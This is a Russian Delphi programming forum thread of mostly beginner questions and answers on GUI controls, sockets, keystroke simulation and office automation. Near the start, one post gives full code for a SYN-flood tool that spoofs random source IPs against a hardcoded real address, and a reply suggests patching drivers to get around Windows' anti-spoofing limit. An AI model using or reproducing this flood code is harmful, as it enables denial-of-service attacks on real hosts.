мне нужно чтобы при вводе в строке браузера
http://имя_хоста/index.php выводило полноценную пхп страницу....
спасибо за помощь...
пс: это был сарказм(((
Вот пытаюсь отослать пару syn пакетов
type
iph = record
ip_verlen: byte; //Версия и длина
ip_tos: byte; //Приоритет пакета
ip_len: word; // Длина заголовка
ip_id: word; // id -пакета
ip_offset: word; //Смещение
ip_ttl: byte; //Время жизни
ip_protocol: byte; //Протокол
ip_checksum: word; //Контрольная сумма
ip_saddr: longword; //Адрес отправителя
ip_daddr: longword; //Адрес получателя
end;
//TCP-заголовок
tcph = record
th_sport: word; //Порт отправителя
th_dport: word; //Порт получателя
th_seq: longword; // Последовательный номер
th_ack: longword; // Подтвержденный номер
th_len: byte; // Длина заголовка
th_flags: byte; // Кодовые биты
th_win: word; // Окно
th_checksum: word; // Контрольная сумма
th_upr: word; // Кодовые биты
end;
TBufferArray = array[0..65535] of byte;
const
Size = 40;
function CheckSum(var Buffer; Size: integer): word;
type
TWordArray = Array[0..1] of word;
var
lSumm: LongWord;
iLoop: integer;
begin
lSumm := 0;
iLoop := 0;
while Size > 1 do
begin
lSumm := lSumm + TWordArray(Buffer)[iLoop];
inc(iLoop);
Size := Size - SizeOf(word);
end;
if Size = 1 then lSumm := lSumm + Byte(TWordArray(Buffer)[iLoop]);
lSumm := (lSumm shr 16) + (lSumm and $FFFF);
lSumm := lSumm + (lSumm shr 16);
Result := word(not lSumm);
end;
function SINFLOOD (): Boolean; stdcall;
var
WSAData: TWSAData;
FSocket: integer;
op: integer;
nTimeOver: integer;
Buf: array [0..(Size - 1)] of Char;
ipHeader: iph;
FromIp:Pchar;
j: integer;
RandIp: integer;
Buffer: array of char;
zd:integer;
g:integer;
s:string;
DestIp: Pchar;
TCPHeader: tcph;
port:integer;
DataPointer: ^byte;
TCPIP: TBufferArray;
ChecksumSize: word;
TcpHeaderLen: word;
i:integer;
SockAddr_in: TSockAddr;
begin
DestIp:='209.85.229.104';
port:=80;
WSAStartUp(MAKEWORD(2,2), WSAdata);
FSocket:=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,ni l,0,WSA_FLAG_OVERLAPPED);
op:=1;
setsockopt(FSocket,IPPROTO_IP,IP_HDRINCL,@op,sizeo f(op));
nTimeOver:=1000;
setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@nTimeOv er,sizeof(nTimeOver));
//Собираем пакет
//Пишем версию и длину ip-пакета
ipHeader.ip_verlen:=((4 shl 4) or sizeof(ipheader) div sizeof(longword));
ipHeader.ip_len:=htons(Size);
ipHeader.ip_tos:=0; //Приоритет пакета
ipHeader.ip_id:=1; //id-пакета
ipHeader.ip_offset:=0; //смещение
ipHeader.ip_ttl:=128; //время жизни пакета
ipHeader.ip_protocol:=IPPROTO_TCP; //протокол
//Генерируем рандомный ip-адресс
FromIp:='';
for zd := 0 to 3 do
begin
g:=random(250)+4;
if zd<>3 then begin
s:=s+inttostr(g)+'.'
end else begin
s:=s+inttostr(g)
end;
end;
FromIp:=Pchar(s);
ipHeader.ip_saddr:=inet_addr(FromIp); //Адрес источника
ipHeader.ip_daddr:=inet_addr(DestIp) ;//Адрес получателя
//Заполняем TCP-заголовок
TCPHeader.th_sport:=htons(Random(65000)); //Порт источника
TCPHeader.th_dport:=htons(port); //Порт получателя
TCPHeader.th_seq:=Random(4294967295); //Номер пакета
TCPHeader.th_ack:=0;
TCPHeader.th_len:=80;
//SYN-пакет
TCPHeader.th_flags:=2;
TCPHeader.th_win:=htons(65535);
TCPHeader.th_upr:=0;
TCPHeader.th_checksum:=0;//Контрольная сумма TCP-пакета, которая расчитывается ниже
//Расчет контрольной суммы
DataPointer := @TCPIP[0];
FillChar(TCPIP, SizeOf(TCPIP), 0);
Move(ipHeader.ip_saddr, DataPointer^, SizeOf(ipHeader.ip_saddr));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_saddr));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_saddr);
Move(ipHeader.ip_daddr, DataPointer^, sizeof(ipHeader.ip_daddr));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_daddr));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_daddr);
DataPointer := pointer(integer(DataPointer) + 1);
Inc(ChecksumSize);
Move(ipHeader.ip_protocol, DataPointer^, sizeof(ipHeader.ip_protocol));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_protocol));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_protocol);
TcpHeaderLen := htons(sizeof(tcpHeader));
Move(TcpHeaderLen, DataPointer^, sizeof(TcpHeaderLen));
DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeaderLen));
ChecksumSize := ChecksumSize + sizeof(TcpHeaderLen);
Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeader));
ChecksumSize := ChecksumSize + sizeof(tcpHeader);
tcpHeader.th_checksum := CheckSum(TCPIP, ChecksumSize);
FillChar(TCPIP, sizeof(TCPIP), 0);
DataPointer := @TCPIP[0];
Move(ipHeader, DataPointer^, sizeof(ipHeader));
DataPointer := pointer(integer(DataPointer) + SizeOf(IPHeader));
Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
For i:=0 to 10 do
begin
if (sendto(FSocket,TCPIP,Size,0,SockAddr_in, Sizeof(SockAddr_In))=SOCKET_ERROR)
then
Writeln('Send error')
else
Writeln('Send ok');
end;
end;
begin
SINFLOOD();
Writeln(IntToStr(GetLastError));
end.
возникает ошибка 10047 Адрес не совместим с выбранным протоколом.
Где я мог ошибиться? Или в Xp это не работает.?
winsock2 брал от сюда http://sources.ru/delphi/winsock2.zip
XP не выпустит сырой пакет с IP который не принадлежит тебе.
т.е. это небольшая защита от спуффинга.
По этому в IP отправителя тебе нужно вписывать свой реальный IP
Ну или патчить дрова)
-PsychonauT-
29.12.2009, 16:19
ребят подскажите как в радиогруппе сделать шейп чередумый видимо/невидимый
case radiogroup1.ItemIndex of
0:shape1.visible:=true;
1:shape2.visible:=true;
т.е к примеру у меня в радиогруппе 2 выбора:
квадрат и треугольник
когда я нажимаю на квадрат - появляется квадрат, а когда я нажимаю натреугольник квадрат скрывается и сообственно я вижу треугольник
PS. НЕ СТИБИТЕ СТРОГО ЗА ГЛУППЫЕ ВОПРОСЫ, Я ТОЛЬКО НАЧИЮ ОСВАИВАТЬ!
Вот тут нужна помощь)
Вот обработка в TICQ:
procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
var
LogFile: TextFile;
ICQ: Cardinal;
begin
icq := StrToInt(UIN);
Memo1.Lines.Add(UIN + ': ' + Msg);
if Msg= 'ник' then
ICQClient1.SendMessage(icq, 'вы успешно зареганы')
else
ICQClient1.SendMessage(icq, 'Команда не найдена!');
end;
как сделать чтобы команда "ник" писалась так: "ник желаемый ник" (пример: ник павел) как я понял надо что-то добавить в строке:
if Msg= 'ник' then
ICQClient1.SendMessage(icq, 'вы успешно зареганы')
подскажите что добавить чтобы была команда не просто слово ник а через пробел ещё слово можно написать было
ребят подскажите как в радиогруппе сделать шейп чередумый видимо/невидимый
т.е к примеру у меня в радиогруппе 2 выбора:
квадрат и треугольник
когда я нажимаю на квадрат - появляется квадрат, а когда я нажимаю натреугольник квадрат скрывается и сообственно я вижу треугольник
PS. НЕ СТИБИТЕ СТРОГО ЗА ГЛУППЫЕ ВОПРОСЫ, Я ТОЛЬКО НАЧИЮ ОСВАИВАТЬ!
Делаешь одному Show, другому Hide. Потом наоборот.
n1ghtstalker
29.12.2009, 23:00
Вот тут нужна помощь)
Вот обработка в TICQ:
procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
var
LogFile: TextFile;
ICQ: Cardinal;
begin
icq := StrToInt(UIN);
Memo1.Lines.Add(UIN + ': ' + Msg);
if Msg= 'ник' then
ICQClient1.SendMessage(icq, 'вы успешно зареганы')
else
ICQClient1.SendMessage(icq, 'Команда не найдена!');
end;
как сделать чтобы команда "ник" писалась так: "ник желаемый ник" (пример: ник павел) как я понял надо что-то добавить в строке:
if Msg= 'ник' then
ICQClient1.SendMessage(icq, 'вы успешно зареганы')
подскажите что добавить чтобы была команда не просто слово ник а через пробел ещё слово можно написать было
эм ну msg:string в чём собственно проблемма?
и зачем ещё одно слово??
if msg='f*ck my brain'
then .... тра ля ля .
при том почему бы в процедуре ввод ника не сделать.
ты бота пишешь или что?
Подскажите пожалуйста как правильней поступить.
Мне нужно выделить память под буффер.
Я хочу вот так:
[code]var
Buff: PChar;
Begin
Buff:=GetMemory(1024);
//Какие-то действия
FreeMemory(MainBuff);
End;
Подскажите пожалуйста как правильней поступить.
Мне нужно выделить память под буффер.
Я хочу вот так:
[code]var
Buff: PChar;
Begin
Buff:=GetMemory(1024);
//Какие-то действия
FreeMemory(MainBuff);
End;
Как то странно, выделяешь память в одну переменную, освобождаешь уже другую...
И кстати, освобожддение памяти лучше делать в секции finally
Aleksandr.
30.12.2009, 12:58
Приветствую всех.
Прошу подсказать норм компилятр С++ НА windows xp sp3 и windows 7, Чтобы была совеместимость, если же не получиться, под windows 7 =)
Жилательно на русском, чтобы Был прост в управлении, Заранее спс.
Работал до этого с компилятор от майкрософт, Очень геморно все =)
1) Нахера ты это в раделе по Делфи разместил?
2) бери VS 2008 Pro Rus, Лучше не придумаешь под винду.
3) То что ты пишеш и оно не пашет под w7 то это не зависит от компилятора.
VC++ 2008 имеет поддержку работы с манифестами под w7 и vista
4) если нужно чтото в плане системного программирования, то качай последюнюю WDK
(новая вресия DDK) и там есть хидер и прочие хрени вплоть до w7
А, да я код руками набирал.
Переменная одна и та же.
А смысл, если использовать finally???
делаю так
keybd_event(Ord('e'), 0, 0, 0);
а он мне печатает "5" а я хочу чоб печатал "е"
чё делать? =\
2 Ponchik функция принимает не аски код символа, а код виртуальной кнопки.
В MSDN посмотри Virtual-Key Codes и там есть соответствие кнопок.
e - $45
Чтобы делать большими буквами то нужно shift чтобы был виртуально нажат.
keybd_event(VK_SHIFT, 0, 0, 0); // нажмем шифт
keybd_event($45, 0, 0, 0);// выведем
keybd_event($45, 0, 0, 0);// 2 больших буквы E
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); // уберем шифт
keybd_event($45, 0, 0, 0); // выведем маленькую e
2 Ponchik функция принимает не аски код символа, а код виртуальной кнопки.
В MSDN посмотри Virtual-Key Codes и там есть соответствие кнопок.
E - 45
не не, я вот так делаю
for i:=1 to Length(edt1.Text) do
begin
keybd_event(Ord(edt1.Text[i]), 0, 0, 0);
end;
и если в edt1.Text 1 буква, он её печатает нормально, а вот если несколько, нихрена не печатает или какой-то бред печатает, щас он ваще мне Ctrl+Tab как-то зажал О_о
Он зажимает клавиши, пробовал KEYEVENTF_KEYUP куда-то впихнуть, неполучается, незнаю куда :o
Хотя может и действительно другие коды надо, щас попробую
=======
Млять, чёто оно мне зажало, я жму на клаве 4 - открывается медиа плеер >_<
Ну лан, на нумпад клаве пишу
И вот тута коды
http://delphi.about.com/od/objectpascalide/l/blvkc.htm
4C это L я пишу
keybd_event(4C, 0, 0, 0);
оно говорит
http://gyazo.com/391fadd3fc1fad9b330c0abe79fc4ec9.png
Как мне ему 4C сказать?
========
БЛЕАТЬ!
Жму на клаве "X" он мне "Центр мобильности Windows открывает"
FFFFFFFFFFFFFFFFFFUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
Всё, нащёл, он мне кнопку Win зажал, гадина
/me горе кодер >_<
в твоем случае нужно коды переводить данные из обычного кода в виртуальный.
для этого есть функция VkKeyScan. Но при её юзанье ты потеряеш регистр букв. т.е. все будет маленькими или большими, взависимости от шифта.
В твоем случае это так:
keybd_event(VkKeyScan(edit1.Text[x]), 0, 0, 0);
VkKeyScan возвращает в младшей части - код.
А в старшей - инфу о кнопках
If the function succeeds, the low-order byte of the return value contains the virtual-key code and the high-order byte contains the shift state, which can be a combination of the following flag bits.
If the function finds no key that translates to the passed character code, both the low-order and high-order bytes contain –1.
Bit Meaning
1 Either SHIFT key is pressed.
2 Either CTRL key is pressed.
4 Either ALT key is pressed.
8 The Hankaku key is pressed
16 Reserved (defined by the keyboard layout driver).
32 Reserved (defined by the keyboard layout driver).
-------------------
d делфи числа в шестнадчатиричной системе пишутся через $ типа
$A1
Во. Замутил с поддержкой регистра букв.
из Edit2 берет текст и вставляет в Edit1
var
x : integer;
code : word;
begin
edit1.SetFocus;
for x := 1 to length(edit2.Text) do
begin
code := VkKeyScan(edit2.Text[x]);
if code and $100 <> 0 then keybd_event(VK_SHIFT, 0, 0, 0);
keybd_event(code, 0, 0, 0);
if code and $100 <> 0 then keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
end;
end;
да на регистр пох, он неуспевает печатать =\ буквы местами меняет/съедает, ппц...
Чем ещё можно клавиши быстро нажимать? Токо чоб не хавало и не меняло местами =\
делай паузу небольшую между каждым нажатием
да без паузы там вобще катастрофа, у мя стоит пауза 15мс но оно так медлено печатает а буквы всёравно ест зараза
Retimiled
30.12.2009, 20:52
в мастдае все строится на событийной модели.... обработка нажатий клавиш одна из ярких представителей, ... много программеров так и не перешло на мастдай от доса потому как не ПРИНЯЛИ событийную модель, ваше приложение должно вызывать функции по получению каких либо событий иначе программирование будет в стиле ЯЛЯ-ДОС!
... это не НАШИ правила!
Aleksandr.
31.12.2009, 16:14
1) Нахера ты это в раделе по Делфи разместил?
2) бери VS 2008 Pro Rus, Лучше не придумаешь под винду.
3) То что ты пишеш и оно не пашет под w7 то это не зависит от компилятора.
VC++ 2008 имеет поддержку работы с манифестами под w7 и vista
4) если нужно чтото в плане системного программирования, то качай последюнюю WDK
(новая вресия DDK) и там есть хидер и прочие хрени вплоть до w7
Оргомное спс, промохнулся с темой, еле нашел тут =)
Joker-jar
31.12.2009, 17:09
Ponchik, а какова задача? Подозреваю, что там лучше сообщениями сделать
Знаю что [:|||:], но все же:
Какой компонент выбрать для работы с mySQL?
Как в RichEdit добавить такую строку: 7436: овыпора (Чтобы 1 часть была 1 цветом, а другая другим...)
ErrorNeo
01.01.2010, 17:15
кто знает как вывести окно, не создав при этом вкладку на панели задач/строку в "Приложениях" Диспетчера задач?
По-исследовал CreateWindowEx, но по-моему через него так невозможно.
Приложение у меня консольное, работает "тихо и незаметно", но как только появляется окно - появляется и вкладка на Панели Задач :(
кто знает как вывести окно, не создав при этом вкладку на панели задач/строку в "Приложениях" Диспетчера задач?
По-исследовал CreateWindowEx, но по-моему через него так невозможно.
Приложение у меня консольное, работает "тихо и незаметно", но как только появляется окно - появляется и вкладка на Панели Задач :(
procedure TForm1.FormShow(Sender: TObject);
begin
ShowWindow(Application.Handle,SW_HIDE);
end;
end.
Как то так =)
ErrorNeo
01.01.2010, 18:51
procedure TForm1.FormShow(Sender: TObject); begin ShowWindow(Application.Handle,SW_HIDE); end; end. Как то так =)
аххахаха)
+5, спс
вот еще впрос - почему когда я отправляю с проги письмо через smtp сервер, пишет
Socket Error #10054 Connection reset by peer хотя раньше все слалось нормальною
Проверял на разных серверах, даже не загруженных. все равно такая хрень! Может это нововведения какие?
GL_Loney
01.01.2010, 20:14
Как вы учили Паскаль (читали книги,смотрели видеоуроки, методом тыка)? Поделитесь личным опытом, чтобы было объективно и эффективно =) У меня просто проблемы вообще с языками возникают не перевариваю их, быстро надоедает, если не понимаешь, по-этому ищу хороший способ усваивания) Есть у кого-то что-то подобное? Спасибо =)
Как вы учили Паскаль (читали книги,смотрели видеоуроки, методом тыка)? Поделитесь личным опытом, чтобы было объективно и эффективно =) У меня просто проблемы вообще с языками возникают не перевариваю их, быстро надоедает, если не понимаешь, по-этому ищу хороший способ усваивания) Есть у кого-то что-то подобное? Спасибо =)
Большое желание+диск новые технологии(Учебник)+эта тема... За недельку можно уже сделать что нить типа спамера, но я делал фейки...
Как сделать в дельфи чтоб текст в Label выводился не сразу, а через какой-нибудь промежуток времени? Пример плиз приведите ))
GL_Loney
01.01.2010, 20:52
Ну я себе ещё недели две назад скачал видеоурок "Паскаль с нуля в видеоформате" от создателя Дмитрия Горбунова, не знаю говорит ли вам о чем-то, может кто-то пользовался) Просмотрел вводную часть которая более часа) Там установка, обзор меню, что такое алгоритм, как создать блок-схему, компиляторы и интерпретаторы, структура программы и первая программа... там в общем более часа эта вводная часть, но особого толка не вижу, да и ничего не запомнилось, на пары пришел, думал буду сейчас им там мего проги писать, даже блок схему не смог нарисовать к программе( Я та понял нужно по 500 раз смотреть, чтобы запомнить или же посоветуете что-то по эффективнее?)
GL_Loney, тоже начинал по видео курсу если хочешь стучи в аську вместе учить будем, у меня ещё литература есть
Как сделать в дельфи чтоб текст в Label выводился не сразу, а через какой-нибудь промежуток времени? Пример плиз приведите ))
procedure TForm1.ToolButton5Click(Sender:TObject);
begin
Sleep(500) // Задержка в милесекундах 500 милесекунд
пол секунды
Label1.Caption:='Hello World'
end;
end.
(Символы)
Как сделать в дельфи чтоб текст в Label выводился не сразу, а через какой-нибудь промежуток времени? Пример плиз приведите ))
а delay(); не пойдет?
а delay(); не пойдет?
Нет, надо для делфи (Sleep ( ) ; )
Как в RichEdit добавить такую строку: 7436: овыпора (Чтобы 1 часть была 1 цветом, а другая другим...)
rich.selstart:=0;
rich.selLength:=length('7436:');
rich.selAttributes.Color:=clRed;
Не подойдет... Можно ли поработать над строчкой, чтобы потом добавить сразу цветную строку действием: Form1.RichEdit1.Lines.Add(s); ??? Или сделать тегами???
Joker-jar
01.01.2010, 21:28
Не подойдет... Можно ли поработать над строчкой, чтобы потом добавить сразу цветную строку действием: Form1.RichEdit1.Lines.Add(s); ??? Или сделать тегами???
Сделай компонента-потомка с соответствующими методами
Дайте плиз исходник ServerSocket/ClientSocket в виде файлов, а не текста, где можно перекидывать текст от клиента к серверу, и обратно
Ответ: http://pblog.ru/?p=91
n1ghtstalker
02.01.2010, 12:55
Ну я себе ещё недели две назад скачал видеоурок "Паскаль с нуля в видеоформате" от создателя Дмитрия Горбунова, не знаю говорит ли вам о чем-то, может кто-то пользовался) Просмотрел вводную часть которая более часа) Там установка, обзор меню, что такое алгоритм, как создать блок-схему, компиляторы и интерпретаторы, структура программы и первая программа... там в общем более часа эта вводная часть, но особого толка не вижу, да и ничего не запомнилось, на пары пришел, думал буду сейчас им там мего проги писать, даже блок схему не смог нарисовать к программе( Я та понял нужно по 500 раз смотреть, чтобы запомнить или же посоветуете что-то по эффективнее?)
хочешь овладеть языком? решай практические задачи. иначе никак. сначала простые. чем больше материала изучишь тем ставь себе сложнее задачи.
Дайте плиз исходник ServerSocket/ClientSocket в виде файлов, а не текста, где можно перекидывать текст от клиента к серверу, и обратно
Component->Install Packages...->Add
Добавляем файл:
$(DELPHI)\bin\dclsockets70.bpl
В D7 помойму так эти компоненты добавляются.
Возникло пару вопросов по ServerSocket:
ServerSocket.Socket.Connections[0].SendText('msg') С помощью этой команды сервер отправляет масагу 0 (Первому) клиенту (1-Второй и т.д.), а если допустим 0 отключится то на его место придет 1 и все остальные клиенты сдвинутся на -1, так из этого вопрос: можно ли при подключение клиента к серверу давать ему на все сессию статический номер (Тот который захочу я), еще бы хотелось узнать: Как бы сделать для каждого клиента свой поток?
И как отправить всем клиентам масагу?
for i := 0 to ServerSocket1.Socket.ActiveConnections-1 do begin
ServerSocket1.Socket.Connections[i].SendText('msg');
end;
Не подойдет, если использовать вышеперечисленный способ идентификации клиентов...
denjf, я имел ввиду использование этих компонентов
кто сможет вдуплить мне процедуры/функции паскаля
в аську -426036723
:(
что именно обьяснить? что непонятно?
буквально всё, простые функции и процедуры мне понятны, нужны ф/п с описаниями(кароче сложные)
а-то учу паскаль и завис на месте :(
n1ghtstalker
03.01.2010, 18:49
эм товарищ, если понять как работают простые функции и процедуры ты с лёгкостью сможешь написать и сложную. приведи пример функции работа которой тебе не понятна.
procedure summa1(var a,b:integer, s:integer)
вот именно эта часть мне чуть-чуть непонятна(эту процедуру писал сам)
тоисть почему именно так, а не иначе, видел процедуры типа:
procedure summa1(var a,b:integer, s:integer):integer
так какая же разница между первой и второй
и ещё не понел какие переменные надо объявлять в главной программе, а какие в подпрограммах
AquaKlaster
03.01.2010, 20:11
procedure summa1(var a,b:integer, s:integer)
вот именно эта часть мне чуть-чуть непонятна(эту процедуру писал сам)
тоисть почему именно так, а не иначе, видел процедуры типа:
procedure summa1(var a,b:integer, s:integer):integer
так какая же разница между первой и второй
и ещё не понел какие переменные надо объявлять в главной программе, а какие в подпрограммах
второе это не процедура а функция. и писать надо так
function summa1(var a,b:integer, s:integer):integer
n1ghtstalker
03.01.2010, 22:04
Товарищ прав ) я сначала глянул меня аж в стан поставило )
но ближе к сути.
вот допустим у тебя есть
function summ(var:a,b:integer):integer
begin
summ:=a+b;
end;
в программе
summ(a,b);
вернёт тебе результат в summ .
для процедуры
procedure summ(var a,b,s:integer)
begin
s:=a+b;
end;
summ(a,b,s);
при вернёт тебе значение в переменную s глобального типа.
гы . не буду пока нагружать переменными локального типа.
будем считать что я всё понел :(
Где можно посмотреть пример реализации отправки пакета UDP на WINSOCK?
Пример с MS не понятно что отправляет (отправляет пустой пакет (но такой пример мне не подходит)):
#include <windows.h>
#include <stdio.h>
#include "winsock2.h"
void main() {
WSADATA wsaData;
SOCKET SendSocket;
sockaddr_in RecvAddr;
int Port = 27015;
char SendBuf[1024];
int BufLen = 1024;
//---------------------------------------------
// Initialize Winsock
WSAStartup(MAKEWORD(2,2), &wsaData);
//---------------------------------------------
// Create a socket for sending data
SendSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
//---------------------------------------------
// Set up the RecvAddr structure with the IP address of
// the receiver (in this example case "123.456.789.1")
// and the specified port number.
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(Port);
RecvAddr.sin_addr.s_addr = inet_addr("123.456.789.1");
//---------------------------------------------
// Send a datagram to the receiver
printf("Sending a datagram to the receiver...\n");
sendto(SendSocket,
SendBuf,
BufLen,
0,
(SOCKADDR *) &RecvAddr,
sizeof(RecvAddr));
//---------------------------------------------
// When the application is finished sending, close the socket.
printf("Finished sending. Closing socket.\n");
closesocket(SendSocket);
//---------------------------------------------
// Clean up and quit.
printf("Exiting.\n");
WSACleanup();
return;
}
Как на winsock, работать с AC? Через idHTTP долго и нестабильно...
Подскажите, как из StringGrid при помощи Delphi конвертировать данные в таблицу через OpenOffice.org (есть способ через MS Excel, но есть необходимость использовать средства OpenOffice). Версия дельфей - седьмая.
И ещё: как определить количество строк в StringGrid?
Насчет конверции хз, потыкай макрос, VB и Dlp похожи,
А строки это толи Rows толи Columns в свойствах stringgrid:
Stringgrid1.rows.count
StealthMaster
06.01.2010, 08:03
Подскажите, как из StringGrid при помощи Delphi конвертировать данные в таблицу через OpenOffice.org (есть способ через MS Excel, но есть необходимость использовать средства OpenOffice). Версия дельфей - седьмая.
И ещё: как определить количество строк в StringGrid?
За количество строк отвечает свойство RowCount
smth := StringGrid1.RowCount;
По поводу вставки текста в OpenOffice. Подключаешься к серверу автоматизации ОО, создаешь новый или открываешь имеющийся документ, вставляешь текст в нужную ячейку.
Вот класс, который реализует часть нужных действий:
type
TOpenOffice = class
function Connect: boolean;
procedure Disconnect;
function CreateDocument (Application: string): boolean;
procedure InsertTextCalc(Text: string; Index: integer = 0;
col: integer = 0; row: integer = 0; Border: boolean = false;
Bold: boolean = false);
private
StarOffice: Variant;
Document: Variant;
end;
implementation
{$D+,L+}
function TOpenOffice.Connect: boolean;
begin
if VarIsEmpty(StarOffice) then
StarOffice := CreateOleObject('com.sun.star.ServiceManager');
Result := not (VarIsEmpty(StarOffice) or VarIsNull(StarOffice));
end;
procedure TOpenOffice.Disconnect;
begin
StarOffice := Unassigned;
end;
function TOpenOffice.CreateDocument(Application: String): boolean;
var
StarDesktop: Variant;
begin
StarDesktop := StarOffice.createInstance('com.sun.star.frame.Desk top');
Document := StarDesktop.LoadComponentFromURL(
'private:factory/s'+Application, '_blank', 0,
VarArrayCreate([0, -1], varVariant));
Result := not (VarIsEmpty(Document) or VarIsNull(Document));
end;
procedure TOpenOffice.InsertTextCalc(Text: string; Index: integer = 0;
col: integer = 0; row: integer = 0; Border: boolean = false;
Bold: boolean = false);
var
Sheets, Sheet, Cell, Struct: variant;
begin
Sheets := Document.GetSheets;
Sheet := Sheets.getByIndex(Index);
Cell := Sheet.getCellByPosition(col, row);
Cell.setString(Text);
if Border then
begin
Struct := StarOffice.Bridge_GetStruct('com.sun.star.table.Bo rderLine');
Struct.lineDistance := 0;
Struct.innerLineWidth := 0;
Struct.outerLineWidth := 1;
cell.leftBorder := Struct;
Cell.rightBorder := Struct;
Cell.topBorder := Struct;
Cell.bottomBorder := Struct;
end;
if Bold then
Cell.CharWeight:= 200;
end;
end; // TOpenOffice
А использовать примерно так:
var
OpenOffice: TOpenOffice
procedure TfmMain.bOOConnectClick(Sender: TObject);
begin
OpenOffice := TOpenOffice.Create;
OpenOffice.Connect;
OpenOffice.CreateDocument('calc');
OpenOffice.InsertTextCalc(StringGrid1.Cells[1,1], 0, 1, 1, true);
OpenOffice.Disconnect;
end;
Скажу сразу, что в качестве кода класса скопировал кусок одного из своих старых модулей, а часть кода написал прямо здесь, поэтому мог ошибиться. Если есть желание - пиши после праздников в аську, поболтаем на эту тему.
Всем доброго времени суток ! :-))
Не подскажете как сделать такую же панель как "Nero Search" Чтобы она так же была на панели задач. Заранее спасибо :-)
Как выключить звук в windows?
ps: код с delphiworld не работает
Как перенести обработчик события? с unit1 на unit3?
(Событие: procedure TThread.Execute;) и на какой unit кидать это:
TThread = class(TThread)
protected
procedure Execute; override;
end;
add: Формы Form3 не существует, был создан просто unit3
подскажите,нужно что бы при нажатии на карте(загруженную в TImage) на какой либо участок(тип страну) происходило действие такое то,вот вообще нету никаких зацепок,киньте хоть какую то идею:)
подскажите,нужно что бы при нажатии на карте(загруженную в TImage) на какой либо участок(тип страну) происходило действие такое то,вот вообще нету никаких зацепок,киньте хоть какую то идею:)
Изображение на кусочки подели :-))
P.S
Всем доброго времени суток ! :-))
Не подскажете как сделать такую же панель как "Nero Search" Чтобы она так же была на панели задач. Заранее спасибо :-)
Изображение на кусочки подели :-))
P.S
хм,и как ты это себе представляешь?)по координатам высчитывать тоже не катит))
Где то давно читал..
1) Берём твою картинку:
2) Загружаем в TImage
3) Берёшь фигуру(Shape)
4) Ставиш у неё в свойстве Mode clear
5) Накладываешь примерно на картинку и всё :-)) Вот тебе и примерно на кусочки :-)
v1149906
07.01.2010, 21:14
выполняю вход в админку захожу вот только чтоб мне куда нить зайти в этой админке мне надо повторно выполнять вход а точнее я нажимаю на любую станичку из меню и опять мне надо выпплнить вход в одминку и я поподаю на ту страничку на которую я нажал это еще терпимо но когда на своем же сайте зарегистрироваться неможешь вот это уже бесит пож помогите решить эту проблему че за хрень с сайтом говорю сразу куки включины это не из зо браузера !!
mr_walker
07.01.2010, 23:35
Ребята помогите не могу разобратся как...
мне нужна поддержка пхп на инди хттп сервере в делфи... если можно а если нет то каким либо способом...
делаю вот что:
на CommandGet пишу:
procedure Form1.CommandGet(AThread: TIdPeerThread;
ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
begin
IdHTTPServer.ServeFile(AThread, AResponseInfo,
'd:\Server_root\www'+ARequestInfo.Document);
end;
мне нужно чтобы при вводе в строке браузера
http://127.0.0.1/index.php выводило полноценную пхп страницу....
где 127.0.0.1 - всмысле имя хоста
alexey-m
08.01.2010, 09:29
Подскажите пожалуйса, есть ли аналог stunnel на delphi, или как реализовать подобное?
Заранее спасибо!
Подскажите.
Как средствами Delphi подключится к интернету соединение DSL тип Brige(мост).
Соединение созданно в винде пароль логин введенны и сохраненны.
Как запусть его и подключится??
Markus_13
08.01.2010, 14:29
DimkO, можно на MouseUp прописать процедуру - а там в зависимости от X/Y выполнять разные действия.
-----------------------------------------------------------
mr_walker, добавь слэш после www
'd:\Server_root\www\'+ARequestInfo.Document
и пропиши где-нить запуск сервера:
IdHTTPServer.Active:=true;и все должно заработать
-----------------------------------------------------------
v1149906, во1ых помоему ты темой ошибся, во2ых по той информации что ты написал тебе никто думаю не поможет
Как в программу записать файл с изображением (При компиляции), а потом добавлять его к другим картинкам, которые выберет пользователь?
Как в программу записать файл с изображением (При компиляции), а потом добавлять его к другим картинкам, которые выберет пользователь?
Если на Дельфях то так:
1. Создаем в блокноте файл такого содержания:
IMAGE1 IMAGE <путь к изображению>
и сохраняем его под именем image.rc
2. Идем в каталог с Дельфи\Bin и ищем там brcc32.exe.
3. С его помощью brcc32.exe компилим image.rc (перетягиваем image.rc на brcc32.exe).
4. Рядом с image.rc появится файл image.res. Берем его и ложим в папочку с проектом. В проекте подключаем.
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.res}
{$R image.res}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
добавлять его к другим картинкам, которые выберет пользователь?
Вот эта часть вопроса не совсе понятна, поэтому просто посмотри как сохранить эту картинку. Вот написана мной процедура для сохранения ресурсов:
procedure extractres(ResName, ResType, filename:string);
Var ResStream: TResourceStream;
Begin
ResStream:=TResourceStream.Create(HInstance,pchar( ResType),pchar(ResName));
ResStream.SaveToFile(filename);
ResStream.Free;
End;
Пример использования для вышеописанного:
..................
var s:string;
begin
s:='C:\image.jpg'; //путь для сохранения
extractres('IMAGE', 'IMAGE1', s);
..................
[/CODE]
patcher, мне надо копирайт на картинку поставить...
mr_walker
09.01.2010, 15:49
mr_walker, добавь слэш после www
'd:\Server_root\www\'+ARequestInfo.Document
и пропиши где-нить запуск сервера:
IdHTTPServer.Active:=true;и все должно заработать
